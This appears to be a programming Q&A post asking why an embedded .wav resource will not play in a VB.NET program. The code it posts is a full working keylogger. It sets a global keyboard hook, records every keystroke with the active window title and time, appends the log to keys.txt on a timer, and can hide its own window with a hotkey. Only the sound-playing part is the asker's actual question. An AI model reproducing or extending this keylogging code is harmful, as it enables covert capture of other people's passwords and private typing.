title: .wav as resource in VB.NET
body: <p>I am getting an error that says to check if the file is actually there.</p>
  
  <p>SONG_NAME is supposedly directing to the right resource.... I just want to be able to play the .wav without them having the .wav file on their computer in a specified area, hence having it contained within the .exe. Thanks, guys! Heres the code.</p>
  
  <pre><code>Public Class Form1
  
  #Region "API Functions And Structures" 'COLLAPSED CODE
  
  'Event types
  Private Const WM_KEYUP As Integer = &amp;H101
  Private Const WM_KEYDOWN As Short = &amp;H100S
  Private Const WM_SYSKEYDOWN As Integer = &amp;H104
  Private Const WM_SYSKEYUP As Integer = &amp;H105
  
  'Event Info structure
  Public Structure KBDLLHOOKSTRUCT
      Public vkCode As Integer 'KeyCode (Of interest to us)
      Public scanCode As Integer 'ScanCode
      Public flags As Integer
      Public time As Integer
      Public dwExtraInfo As Integer
  End Structure
  
  Enum virtualKey
  
      'Misc
      K_Return = &amp;HD
      K_Backspace = &amp;H8
      K_Space = &amp;H20
      K_Tab = &amp;H9
      K_Esc = &amp;H1B
  
      K_Control = &amp;H11
      K_LControl = &amp;HA2
      K_RControl = &amp;HA3
  
      K_Delete = &amp;H2E
      K_End = &amp;H23
      K_Home = &amp;H24
      K_Insert = &amp;H2D
  
      K_Shift = &amp;H10
      K_LShift = &amp;HA0
      K_RShift = &amp;HA1
  
      K_Pause = &amp;H13
      K_PrintScreen = 44
  
      K_LWin = &amp;H5B
      K_RWin = &amp;H5C
  
      K_Alt = &amp;H12
      K_LAlt = &amp;HA4
      K_RAlt = &amp;HA5
  
      'Locks
      K_NumLock = &amp;H90
      K_CapsLock = &amp;H14
  
      'Arrows
      K_Up = &amp;H26
      K_Down = &amp;H28
      K_Right = &amp;H27
      K_Left = &amp;H25
  
      'F1-24
      K_F1 = &amp;H70
      K_F2 = &amp;H71
      K_F3 = &amp;H72
      K_F4 = &amp;H73
      K_F5 = &amp;H74
      K_F6 = &amp;H75
      K_F7 = &amp;H76
      K_F8 = &amp;H77
      K_F9 = &amp;H78
      K_F10 = &amp;H79
      K_F11 = &amp;H7A
      K_F12 = &amp;H7B
      K_F13 = &amp;H7C
      K_F14 = &amp;H7D
      K_F15 = &amp;H7E
      K_F16 = &amp;H7F
      K_F17 = &amp;H80
      K_F18 = &amp;H81
      K_F19 = &amp;H82
      K_F20 = &amp;H83
      K_F21 = &amp;H84
      K_F22 = &amp;H85
      K_F23 = &amp;H86
      K_F24 = &amp;H87
  
      'Numpad
      K_Numpad0 = &amp;H60
      K_Numpad1 = &amp;H61
      K_Numpad2 = &amp;H62
      K_Numpad3 = &amp;H63
      K_Numpad4 = &amp;H64
      K_Numpad5 = &amp;H65
      K_Numpad6 = &amp;H66
      K_Numpad7 = &amp;H67
      K_Numpad8 = &amp;H68
      K_Numpad9 = &amp;H69
      'Math (numpad)
      K_Num_Add = &amp;H6B
      K_Num_Divide = &amp;H6F
      K_Num_Multiply = &amp;H6A
      K_Num_Subtract = &amp;H6D
      K_Num_Decimal = &amp;H6E
  
      'Caracteres e Números
      K_0 = &amp;H30
      K_1 = &amp;H31
      K_2 = &amp;H32
      K_3 = &amp;H33
      K_4 = &amp;H34
      K_5 = &amp;H35
      K_6 = &amp;H36
      K_7 = &amp;H37
      K_8 = &amp;H38
      K_9 = &amp;H39
      K_A = &amp;H41
      K_B = &amp;H42
      K_C = &amp;H43
      K_D = &amp;H44
      K_E = &amp;H45
      K_F = &amp;H46
      K_G = &amp;H47
      K_H = &amp;H48
      K_I = &amp;H49
      K_J = &amp;H4A
      K_K = &amp;H4B
      K_L = &amp;H4C
      K_M = &amp;H4D
      K_N = &amp;H4E
      K_O = &amp;H4F
      K_P = &amp;H50
      K_Q = &amp;H51
      K_R = &amp;H52
      K_S = &amp;H53
      K_T = &amp;H54
      K_U = &amp;H55
      K_V = &amp;H56
      K_W = &amp;H57
      K_X = &amp;H58
      K_Y = &amp;H59
      K_Z = &amp;H5A
  
      'Math (not numpad)
      K_Subtract = 189
      K_Decimal = 190
  
  End Enum
  
  'Keyboard hook related functions
  Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
  Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
  Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  
  'Other API functions
  Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  #End Region
  
  
  Private KeyboardHandle As IntPtr = 0 'Handle of the hook
  Private LastCheckedForegroundTitle As String = "" 'Title of the foreground window when last checked
  Private callback As KeyboardHookDelegate = Nothing 'Delegate for the hook
  Dim songOn As Integer = 1
  
  Dim FILE_NAME As String = CurDir() &amp; "\keys.txt"
  Dim SONG_NAME As String = My.Resources.test1.ToString
  Private KeyLog As String 'Variable which holds the text to be appended to the text file
  
  ''' Gets the title of the active window
  Private Function GetActiveWindowTitle() As String
      Dim MyStr As String
      MyStr = New String(Chr(0), 100)
      GetWindowText(GetForegroundWindow, MyStr, 100)
      MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  
      Return MyStr
  End Function
  
  ''' Checks if we set a hook or not
  Private Function Hooked()
      Return KeyboardHandle &lt;&gt; 0 'If KeyboardHandle = 0 it means that it isn't hooked so return false, otherwise return true
  End Function
  
  ''' Sets the keyboard hook
  Public Sub HookKeyboard()
      callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
      KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
      If KeyboardHandle &lt;&gt; 0 Then
          Me.btnStop.Enabled = True
          Me.btnStart.Enabled = False
          Label1.Text = "Active"
          Label1.ForeColor = Color.DarkGreen
          PlaySound.Stop()
      End If
  End Sub
  
  ''' Unsets the keyboard hook
  Public Sub UnhookKeyboard()
      If (Hooked()) Then
          If UnhookWindowsHookEx(KeyboardHandle) &lt;&gt; 0 Then
              Label1.Text = "Not Active"
              Label1.ForeColor = Color.DarkRed
              Me.btnStop.Enabled = False
              Me.btnStart.Enabled = True
              KeyboardHandle = 0 'We have unhooked successfully
          End If
      End If
  End Sub
  
  ''' Function to be called when there's a keyboard event
  Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  
      'Get current foreground window title
      Dim CurrentTitle = GetActiveWindowTitle()
  
      'If title of the foreground window changed
      If CurrentTitle &lt;&gt; LastCheckedForegroundTitle Then
          LastCheckedForegroundTitle = CurrentTitle
          'Add a little header containing the application title and date
          KeyLog &amp;= vbCrLf &amp; "----------- " &amp; CurrentTitle &amp; " (" &amp; Now.ToString() &amp; ") ------------" &amp; vbCrLf
      End If
  
      'Variable to hold the text describing the key pressed
      Dim Key As String = ""
  
      'If event is KEYDOWN
      If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
  
          'If we can block events
          If Code &gt;= 0 Then
              'If Ctrl+Alt+S
              If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then
                  Me.Visible = Not Me.Visible 'Hide/Show form
                  Return 1 'Block event
              End If
          End If
  
          'Translate virtual key into character/expression
          Select Case lParam.vkCode
              Case virtualKey.K_1
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "!"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_2
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "@"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_3
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "#"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_4
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "$"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_5
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "%"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_6
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "^"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_7
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "&amp;"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_8
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "*"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_9
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = "("
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_0
                  If My.Computer.Keyboard.ShiftKeyDown Then
                      Key = ")"
                  Else
                      Key = ChrW(lParam.vkCode)
                  End If
              Case virtualKey.K_0 To virtualKey.K_9
                  Key = ChrW(lParam.vkCode)
              Case virtualKey.K_A To virtualKey.K_Z
                  Key = ChrW(lParam.vkCode + 32)
              Case virtualKey.K_Space
                  Key = " "
              Case virtualKey.K_RControl, virtualKey.K_LControl
                  Key = "[control]"
              Case virtualKey.K_LAlt
                  Key = "[alt]"
              Case virtualKey.K_RAlt
                  Key = "[alt gr]"
              Case virtualKey.K_LShift, virtualKey.K_RShift
                  Key = ""
              Case virtualKey.K_Return
                  Key = vbCrLf
              Case virtualKey.K_Tab
                  Key = vbTab
              Case virtualKey.K_Delete
                  Key = "[delete]"
              Case virtualKey.K_Esc
                  Key = "[esc]"
              Case virtualKey.K_CapsLock
                  If My.Computer.Keyboard.CapsLock Then
                      Key = "[/caps]"
                  Else
                      Key = "[caps]"
                  End If
              Case virtualKey.K_F1 To virtualKey.K_F24
                  Key = "[F" &amp; (lParam.vkCode - 111) &amp; "]"
              Case virtualKey.K_Right
                  Key = "[Right Arrow]"
              Case virtualKey.K_Down
                  Key = "[Down Arrow]"
              Case virtualKey.K_Left
                  Key = "[Left Arrow]"
              Case virtualKey.K_Up
                  Key = "[Up Arrow]"
              Case virtualKey.K_Backspace
                  Key = "[bkspace]"
              Case virtualKey.K_Decimal, virtualKey.K_Num_Decimal
                  Key = "."
              Case virtualKey.K_Subtract, virtualKey.K_Num_Subtract
                  Key = "-"
              Case Else
                  Key = lParam.vkCode 'If we didn't treat it, show the virtual key code (integer) so that we know what Case to add
          End Select
  
      'If event is Key UP
      ElseIf wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
          Select Case lParam.vkCode
              Case virtualKey.K_RControl, virtualKey.K_LControl
                  Key = "[/control]"
              Case virtualKey.K_LAlt
                  Key = "[/alt]"
              Case virtualKey.K_RAlt
                  Key = "[/alt gr]"
              Case virtualKey.K_LShift, virtualKey.K_RShift
                  Key = ""
          End Select
  
      End If
  
      If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
          Key = Key.ToUpper
      End If
  
      'Add it to the log
      KeyLog &amp;= Key
  
      If Key &lt;&gt; "" Then
          Me.ListBox1.Items.Add(Key) 'Add it to the listbox for debugging purposes
      End If
      Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications
  
  End Function
  
  ''' On tick
  Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  
      Try
          My.Computer.FileSystem.WriteAllText(CurDir() &amp; "\keys.txt", KeyLog, True)
          KeyLog = ""
          Timer1.Start()
      Catch ex As Exception
          Timer1.Start()
      End Try
  
      If ListBox1.Items.Count &gt; 1 Then
          ListBox1.SelectedItem = ListBox1.Items.Item(ListBox1.Items.Count - 1)
      End If
  End Sub
  
  ''' On Form Exit
  Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  
      UnhookKeyboard()
      My.Computer.FileSystem.WriteAllText(CurDir() &amp; "\keys.txt", KeyLog, True)
  
  End Sub
  
  
  ''' Start Hook
  Private Sub btnStart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStart.Click
  
      Timer1.Start()
      HookKeyboard()
  
  End Sub
  
  ''' Stop the hook
  Private Sub btnStop_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStop.Click
  
      Timer1.Stop()
      UnhookKeyboard()
  
  End Sub
  
  ''' Exit Program
  Private Sub btnExit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnExit.Click
  
      Timer1.Stop()
      Me.Close()
  
  End Sub
  
  Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
      If Label1.Text = "Active" Then
          Me.Visible = Not Me.Visible 'Hide/Show form
      End If
  
  End Sub
  
  Private Sub btnOpenLog_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnOpenLog.Click
  
      Timer1.Stop()
      UnhookKeyboard()
      System.Diagnostics.Process.Start("notepad.exe", FILE_NAME)
  End Sub
  
  Private Sub btnClearLog_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClearLog.Click
      If MessageBox.Show("This will clear the log. Continue?", "Confirm Clearing", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.Yes Then
          Timer1.Stop()
          UnhookKeyboard()
          System.IO.File.WriteAllText(FILE_NAME, "")
          ListBox1.Items.Clear()
  
      End If
  
  End Sub
  Private PlaySound As New System.Media.SoundPlayer
  
  Public Sub PlaySoundFile(ByVal SoundPath As String)
      PlaySound.SoundLocation = SoundPath
      PlaySound.Load()
  End Sub
  
  Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  
      Me.Left = (Screen.PrimaryScreen.WorkingArea.Width - Me.Width) / 2
      Me.Top = (Screen.PrimaryScreen.WorkingArea.Height - Me.Height) / 2
      PlaySoundFile(SONG_NAME)
  End Sub
  
  Private Sub pbMask_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pbMask.Click
  
  
      If songOn = 1 Then
  
          PlaySound.Play()
          songOn = 2
      ElseIf songOn = 2 Then
  
          PlaySound.Stop()
          songOn = 1
      End If
  End Sub
  End Class
  </code></pre>